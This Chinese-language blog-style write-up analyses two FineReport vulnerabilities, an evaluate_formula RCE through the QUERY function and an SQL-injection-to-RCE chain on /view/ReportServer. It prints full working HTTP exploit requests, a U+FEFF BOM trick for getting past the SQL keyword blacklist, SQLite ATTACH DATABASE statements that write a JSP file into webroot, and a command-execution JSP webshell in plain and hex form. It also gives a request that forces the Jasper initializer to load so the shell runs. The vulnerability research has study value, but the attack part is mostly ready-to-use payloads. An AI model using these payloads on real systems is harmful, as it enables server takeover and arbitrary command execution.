官方漏洞声明:安全漏洞声明- FineReport帮助文档 - 全面的报表使用教程和学习资料
最近出的两个漏洞,官方已修复,问题有些相似,都是通过设计器函数来构造rce。尤其第二个sql注入造成RCE的漏洞还是挺有意思的,记录一下。
evaluate_formula RCE漏洞
漏洞定位fine-report-engine-10.0.jar中的EvaluateFormulaAction类。获取expression参数值
evalValue最终调用到如下方法
FunctionCall对应的是设计器函数,查看官方文档:设计器函数汇总- FineReport帮助文档 - 全面的报表使用教程和学习资料
大部分设计器函数FunctionCall都实现自抽象类AbstractFunction。AbstractFunction有诸多实现类,列表如上面官方文档所示。
evalExpression()最终调用AbstractFunction实现类的run方法。
JVM
网上常见的poc调用的是AbstractFunction实现类JVM。其run方法如下,会泄漏环境信息。
return "Jar build time: " + var2 + "\nHome: " + System.getProperty("java.home") + "\nVersion: " + System.getProperty("java.version") + "\nUser home: " + ProductConstants.getEnvHome() + "\nEnv path : " + FRContext.getCurrentEnv().getPath();
QUERY
在10版本(也许是新一点的10版本)引入了QUERY设计器函数,对应的类代码如下。
方法接收两个参数,第二个参数会执行运算。这里需要注意的是J2V8Utils.SUPPORT_J2V8,如果支持J2V8 ,由com.eclipsesource.v8来执行脚本,如果不支持J2V8由Nashorn来执行脚本。而后者是可以实现RCE的。示例如下。
但是实际测试的时候,发现大多都是进入的com.eclipsesource.v8这个分支,也就是支持J2V8的。
那么什么场景下,才能不支持J2V8从而让Nashorn执行呢?查看官方文档:
图表导出升级说明- FineReport帮助文档 - 全面的报表使用教程和学习资料
文档中提到:若报表部署在 Linux 环境下,且 JDK 版本在 1.8 以下,则需要加载 J2V8 的 libj2v8_linux_x86_64.so,依赖相应版本的 GCC ,如果 GCC 版本过低,则可能存在J2V8 is not supported. Please update GCC。那么此场景下就不支持J2V8,有可能进行Nashorn攻击。
POST /webroot/ReportServer HTTP/1.1
Host: ip:port
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 145
op=fr_base&cmd=evaluate_formula&expression=QUERY("hello","function(){var x=java.lang.Runtime.getRuntime().exec(\"calc.exe\")}")
所以整体来看这个利用方式存在诸多限制,首先这个QUERY方法需要在10版本以上才有,其次限制系统为linux且GCC版本较低。
/view/ReportServer sql注入RCE漏洞
漏洞定位fine-report-engine-11.0.jar中的ReportRequestCompatibleService类
preview方法,会对传入的参数值进行TemplateUtils.render渲染。跟进render。
evalValue方法同样走到Calculator.eval(),和上面的evaluate_formula后续过程基本一致。
只不过此漏洞的构造攻击者选取了SQL函数。跟进SQL的run方法,根据代码可以看出需要传入三到四个参数。
查看报表函数的说明文档,SQL用法如下。通过sql语句从connectionName(数据库)中获得数据表的第columnIndex列第rowIndex行所对应的元素。
SQL(connectionName,sql,columnIndex,rowIndex)
那么想要执行sql需要获取一个已知的connectionName,全局搜索的到“FRDemo”。
官方示例中给的demo:=sql("FRDemo","SELECT * FROM 销量 ",1,1)
这里需要注意,参数是通过getQueryString传入的,而这个方法只对get方法有效,如果用post的Body传参数接收到的是null。
TemplateUtils.render("${fineServletURL}/view/report?" + var1.getQueryString())
DECODE处理特殊字符
尝试在这个路径下GET传入demo中的sql语句。会显示400,因为tomcat会将空格等特殊字符视作无效字符。
但是如果将空格等内容进行url编码。getQueryString()获取的结果如下(该方法并不会对获取到的参数进行url解码)
axisx=${sql('FRDemo','select%201',1)}
那么进入到sqlite的sql语句是select%201。会报错Error: near line 1: near "%": syntax error。无法执行sql,所以最后无法返回结果。
而这个漏洞很巧妙的一点,就是从上面提到的那些设计器函数中又找到了一个DECODE函数来完成url解码,解决上述问题。
sqlite rce
帆软默认采用的sqlite数据库,sqlite是嵌入式数据库,每个数据库是一个文件。所以一种RCE的方式是,通过sqlite语句创建一个数据库(相当于新建一个文件),然后在这个数据库中创建一个表来写入数据,也就是文件的内容。语句如下。
ATTACH DATABASE '../webapps/webroot/hack.jsp' as hack
CREATE TABLE hack.exp(data text)
INSERT INTO hack.exp(data) VALUES x'6861636b6564'
sql黑名单处理逻辑
尝试在sql中输入上述语句,会发现没有效果。帆软对数据库操作做了一定的限制。
主要两个方法。1. removeSpecialCharacters()。该方法检查sql查询是否为空,不为空将sql内容转成小写,然后将引号(单引号和双引号)和注释(单行注释--和多行注释/*
)中的内容替换为空格。如果遇到特殊字符(如下,均为分隔符或空白符)替换为空格。2. check()。该方法用于检查sql查询中是否包含指定的关键词,如果包含就会抛出SQLException异常,相当于黑名单检查。
private static boolean isSpecialCharacter(char c) {
return c == ',' || c == '\n' || c == ';' || c == '\t' || c == '\r' || c == '\f' || c == 11;
}
/*
, (逗号): 在 SQL 语句中,逗号用作分隔符,如在 SELECT 语句中分隔列。
\n (换行符): 用于分隔行,在 SQL 语句中通常用于分隔不同的语句。
; (分号): SQL 语句的结尾符,用于标识一个语句的结束。
\t (制表符): 用于分隔字段或对齐文本,在 SQL 语句中通常作为空白字符。
\r (回车符): 与换行符一起使用,用于分隔行,特别是在某些操作系统(如 Windows)中。
\f (换页符): 在 SQL 语句中较少使用,但在某些文本处理中可能用于分隔。
11 (垂直制表符): 类似于换页符,在 SQL 语句中较少使用,主要用于文本中的格式化。
*/
而黑名单keywords中包含了attach、create等字段,如下。
根据上面的removeSpecialCharacters()处理逻辑,如果传入的是字符串“ATTACH 'aaa'”,那么替换后为"ATTACH "。
黑名单匹配的probed逻辑如下。判断处理后的sql字符串中是否包含关键字,而关键字的前后加入了空格。tmp前后的空格数量只要>=1,黑名单就匹配成功。那么想要绕过黑名单检测,就需要让sql前或后没有空格,或者attach前后还有别的字符。
U+FEFF黑名单绕过
这里的绕过方式还是挺巧妙的,用的U+FEFF。
在sqlite文档中查看U+FEFF的内容
https://android.googlesource.com/platform//external/sqlite/+/d11514d85b96ef33b1a78080246df7df2cf5d9ea/dist/orig/sqlite3.h
这段描述的是SQLite在处理 UTF-16 编码的输入文本时如何确定字节顺序。UTF-16 编码的文本可能以一个字节顺序标记(BOM,U+FEFF)开头,表示字节顺序(即大端序或小端序)。如果文本的开头包含 BOM,SQLite 会读取这个 BOM 来确定字节顺序,然后移除 BOM。如果我们在sql语句最开头加入U+FEFF(U+FEFF 的编码是三个字节:EF BB BF。
在HTTP请求中转成UTF-8编码形式%EF%BB%BF),那么在probed时,sql获取到的是" %ef%bb%bfattach ",由于attach前有字符和" attach "无法匹配。从而绕过了黑名单。而在真正sqlite进行数据读取时,它又被当作BOM移除掉了,不影响sql解析。
那么为了绕过黑名单,上述sqlite rce的语句都需要加上这个BOM头。如下。然后再将特殊字符进行url编码,并在语句外围加上DECODE设计器函数解码。
%EF%BB%BFATTACH DATABASE '../webapps/webroot/hack.jsp' as hack
%EF%BB%BFCREATE TABLE hack.exp(data text)
%EF%BB%BFINSERT INTO hack.exp(data) VALUES x'6861636b6564'
POC构造
将带回显的一句话木马,如下,转成16进制,作为sql第三步insert的内容。
<%
Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
InputStream inputStream = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
String line;
while ((line = bufferedReader.readLine()) != null){
response.getWriter().println(line);
}
%>
构造的poc如下
GET /webroot/decision/view/ReportServer?test=${sql('FRDemo',DECODE('%EF%BB%BFATTACH%20DATABASE%20%27..%2Fwebapps%2Fwebroot%2Faxisx.jsp%27%20as%20hack%3B'),1,1)}${sql('FRDemo',DECODE('%EF%BB%BFCREATE%20TABLE%20hack.exp%28data%20text%29%3B'),1,1)}${sql('FRDemo',DECODE('%EF%BB%BFINSERT%20INTO%20hack.exp%28data%29%20VALUES%20%28x%27203c25a2020202050726f636573732070726f63657373203d2052756e74696d652e67657452756e74696d6528292e6578656328726571756573742e676574506172616d657465722822636d642229293ba20202020496e70757453747265616d20696e70757453747265616d203d2070726f636573732e676574496e70757453747265616d28293ba202020204275666665726564526561646572206275666665726564526561646572203d206e6577204275666665726564526561646572286e657720496e70757453747265616d52656164657228696e70757453747265616d29293ba20202020537472696e67206c696e653ba202020207768696c652028286c696e65203d2062756666657265645265616465722e726561644c696e6528292920213d206e756c6c297ba202020202020726573706f6e73652e67657457726974657228292e7072696e746c6e286c696e65293ba202020207da20253e%27%29%3B'),1,1)} HTTP/1.1
Host: 172.16.165.142:8075
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
webroot下成功生成axisx.jsp
尝试访问axisx.jsp,报错500,问题出在jasper上。
解决jsp编译报错
jasper
Jasper是tomcat中使用的JSP引擎,将jsp文件编译成JVM可识别的class文件。Tomcat在默认的web.xml中配置org.apache.jasper.servlet.JspServlet,用于处理.jsp和.jspx后缀的请求。在帆软中查找web.xml的内容,定位C:\FineReport_11.0\server\conf\web.xml。最终jsp会被当成一个servlet来执行。
根据上面jsp访问的报错信息搜索相关文章,在关于编译和运行Tomcat源码的文章中提到。通过Tomcat的启动入口—org.apache.catalina.startup.Bootstrap类访问localhost:8080时出现了类似的报错,原因是JSP解析器没有初始化。也就是JasperInitializer没有执行过。
解决jasper初始化
根据报错java.lang.NullPointerException定位问题点org.apache.jasper.compiler.Validator$ValidateVisitor.<init>。调试时发现JspFactory.getDefaultFactory()是null。所以null再调用后面的方法时就会报错。
看一下JasperInitializer的初始化(static代码块),在这个过程中会判断JspFactory.getDefaultFactory(),如果是null的话,会对其进行赋值。因为帆软启动方式没有进行JasperInitializer初始化,所以造成了上面空指针的问题。
那么问题就变成了如何能够执行JasperInitializer的初始化。Class.forName类加载时会执行static代码块。那么如果能够执行Class.forName("org.apache.jasper.servlet.JasperInitializer"),就可以完成初始化。
然后就有师傅找到了前台接口FileRequestService。其中的getFile方法接收path和type参数。代码中包含明显的classForName。type类型有两种plain和class。type的值为class时进入else。
对path传入的参数值执行Class.forName()。那么想要初始化JasperInitializer,构造poc如下
GET /webroot/decision/file?path=org.apache.jasper.servlet.JasperInitializer&type=class HTTP/1.1
执行一次该poc,可以成功访问jsp。
木马写入问题
Ps:调试问题时,将断点打在catalina.jar中的ApplicationFilterChain的doFilter方法的如下代码中
catch (ServletException | RuntimeException | IOException var15) { throw var15;}
真正尝试写木马的时候会遇见一些问题,比如我们将如下的木马内容直接转成16进制。然后通过漏洞传入。
<%
Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
InputStream inputStream = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
String line;
while ((line = bufferedReader.readLine()) != null){
response.getWriter().println(line);
}
%>
访问jsp会发现抛出异常Syntax error on token "&", invalid AssignmentOperator。查看jsp文件,发现生成了很多脏字符,jsp内容如下
感觉像是换行符带来的脏字符,将jsp中所有的换行符删掉。再次发送payload,这次不再显示Syntax error on token,而是报错InputStream cannot be resolved to a type。
也就是说InputStream
类没有被识别,通常是因为没有导入对应的类。
更改一句话木马,引入需要的库,生成的jsp如下。
<%@ page import="java.io.InputStream, java.io.InputStreamReader, java.io.BufferedReader" %>
<%
Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
InputStream inputStream = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
String line;
while ((line = bufferedReader.readLine()) != null){
response.getWriter().println(line);
}
%>
删除所有的换行后,生成16进制串,如下。
3c2540207061676520696d706f72743d226a6176612e696f2e496e70757453747265616d2c206a6176612e696f2e496e70757453747265616d5265616465722c206a6176612e696f2e42756666657265645265616465722220253e3c2550726f636573732070726f63657373203d2052756e74696d652e67657452756e74696d6528292e6578656328726571756573742e676574506172616d657465722822636d642229293b496e70757453747265616d20696e70757453747265616d203d2070726f636573732e676574496e70757453747265616d28293b4275666665726564526561646572206275666665726564526561646572203d206e6577204275666665726564526561646572286e657720496e70757453747265616d52656164657228696e70757453747265616d29293b537472696e67206c696e653b7768696c652028286c696e65203d2062756666657265645265616465722e726561644c696e6528292920213d206e756c6c297b726573706f6e73652e67657457726974657228292e7072696e746c6e286c696e65293b7d253e
再次发送payload,成功访问一句话木马
所以在漏洞利用时需要注意,木马不能包含换行,且需要引入用到的类。
另外,网上还有一些payload如下。
GET /webroot/decision/view/ReportServer?test=s&n=${__fr_locale__=sql('FRDemo',DECODE('%EF%BB%BFATTACH%20DATABASE%20%27..%2Fwebapps%2Fwebroot%2Faaa.jsp%27%20as%20gggggg%3B'),1,1)}${__fr_locale__=sql('FRDemo',DECODE('%EF%BB%BFCREATE%20TABLE%20gggggg.exp2%28data%20text%29%3B'),1,1)}${__fr_locale__=sql('FRDemo',DECODE('%EF%BB%BFINSERT%20INTO%20gggggg.exp2%28data%29%20VALUES%20%28x%27247b27272e676574436c61737328292e666f724e616d6528706172616d2e61292e6e6577496e7374616e636528292e676574456e67696e6542794e616d6528276a7327292e6576616c28706172616d2e62297d%27%29%3B'),1,1)} HTTP/1.1
Host: ip
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
特点是1. 在模板前加入参数,如n=${sql} 2. 模板中加入${__fr_locale__=sql()}。1的话有没有参数不影响。2的话模板中加入什么作为key都可以,例如${kkk=sql()}。
漏洞修复
修复前,如下
修复后,不再对传入的参数进行模版渲染。